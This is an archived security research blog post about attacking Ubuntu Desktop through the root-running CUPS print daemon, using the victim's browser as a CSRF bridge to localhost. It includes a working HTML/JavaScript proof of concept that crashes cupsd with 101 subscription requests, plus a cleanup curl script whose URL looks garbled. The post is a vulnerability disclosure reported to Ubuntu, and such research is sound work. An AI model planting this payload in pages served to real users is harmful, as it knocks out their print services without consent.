

Pwning Ubuntu via CUPS

Pwning Ubuntu via CUPS - Author not stated, gnucitizen.org.

- Published: date not stated
- Original: <<https://www.gnucitizen.org/blog/pwning-ubuntu-via-cups/>>
- Preserved from: <https://www.gnucitizen.org/blog/pwning-ubuntu-via-cups/> (stored) on 2026-08-06
- Capture timestamp: 20100621215929
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

I've been using Ubuntu Server Edition for several years now as my pentesting toolbox platform. A few months ago, I also migrated my workstation to Ubuntu Desktop Edition. Recently, I also migrated my personal laptop to Ubuntu Desktop. I guess I'm officially an Ubuntu fan. W00t!

[[image: image]](<http://flickr.com/photos/alfhild/103018041/>)

I'm not going to discuss the Ubuntu security model in detail, but in short, one of the highlights is that by default logged-in users run processes with restricted privileges. Whenever a command needs to be run with root privileges, the user issues a `sudo` command. This is quite safe, as it means that privileged tasks only take place when specified individually. Of course, the user can fully bypass this security model with a simple `sudo /bin/bash` but one is not supposed to do this.

Attack vectors against default installations of Ubuntu Desktop Edition

Ubuntu Desktop is one of the most popular Linux desktop distributions at the moment. This means that it's likely that security researchers will shift more towards this platform in the future. Although perhaps not as sexy as the growing Mac OS X hacking scene, I believe Ubuntu Desktop hacking is starting to become more attractive. Just look at the Dell Mini 9 laptops, you can get them with Ubuntu Desktop installed from factory, instead of Windows XP, which makes the total price even lower. How sweet!

By default Ubuntu Desktop doesn't offer any listening services to remote users. So compromising listening daemons remotely doesn't seem to be possible *by default*. Keep in mind that I'm concentrating on attacks against *default installations of Ubuntu Desktop*. If a company uses Ubuntu Server with a vulnerable version of SSHD, then sure it can be broken into without interaction from the victim. However, in this case we're focusing on attacking Ubuntu *Desktop* users via software that runs by default.

Since owning a default Ubuntu Desktop system “cold” (i.e.: no user interaction) doesn’t seem to be possible – at least at first sight – what other options do we have for client-side exploitation? The main three vectors are the following:

- Mozilla Firefox
- Firefox plugins. i.e.: Flash and Quicktime
- CUPS

Firefox and common plugins are of course the obvious choice for compromising a Ubuntu Desktop system via a client-side exploit. However, CUPS is much more interesting for a number of reasons. First of all, unlike Firefox, it **runs as root** by default on Ubuntu Desktop:

```
$ ps -U root -u root u | grep cups
root      4879  0.0  0.4  6048 1816 ?        Ss   21:06   0:00 /usr/sbin/cupsd
```

This is important, as it means that if code execution was possible within the context of the cupsd process, the attacker could *fully compromise the system*.

At first, some researchers might be put away by the fact that CUPS only listens to local connections by default. From `/etc/cups/cupsd.conf`:

```
# Only listen for connections from the local machine.
Listen localhost:631
```

However, similar to our previously-published [BT Home Hub vulnerabilities](#), it’s possible to use the victim’s browser as a bridge to talk to a service/daemon that’s otherwise *not* visible to the attacker. In this case, the attacker can craft a malicious webpage that talks to the cups daemon on `localhost:631`

CUPS SIGSEGV crash 0day

I poked a bit with the CUPS daemon and managed to find a way to crash it reliably after writing a low-tech fuzzer with curl and bash. The daemon crashes when more than 100 RSS Subscriptions are added which has been successfully tested on the latest versions of openSuse and Ubuntu Desktop at time of writing (11.0 and 8.04.1 respectively). For some reason, the user doesn’t need to login to add RSS subscriptions, although authentication *is* required to perform other actions. I’m not sure if this bug can lead to remote code execution. Further investigation/gdbbing is required. Let me know if you can do something interesting with this bug, unfortunately I’m so busy lately, and researching this crash can be time consuming somehow. By the way, *I did inform Ubuntu regarding this bug via bugs.launchpad.net*

```
<!-- cups_dos_poc.html -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}
</script>
```

If you're up for poking with this, you might want to use the following script locally to delete all the added RSS subscriptions automatically:

```
#!/bin/bash
# cups_del_subs.sh

if [[ $# -ne 2 ]]
then
    echo "usage: $0 <start-ID> <end-ID>";
    exit
fi

echo -en "deleting RSS subscription ID: ";
for((i=$1;i<=$2;++i))
do
    echo -en "$i ";
    curl -s --URL "http://localhost:631/admin/?op=cancel-subscription-ify_subscription_id=$i" \
        >/dev/null;
done
echo -en "\n";
```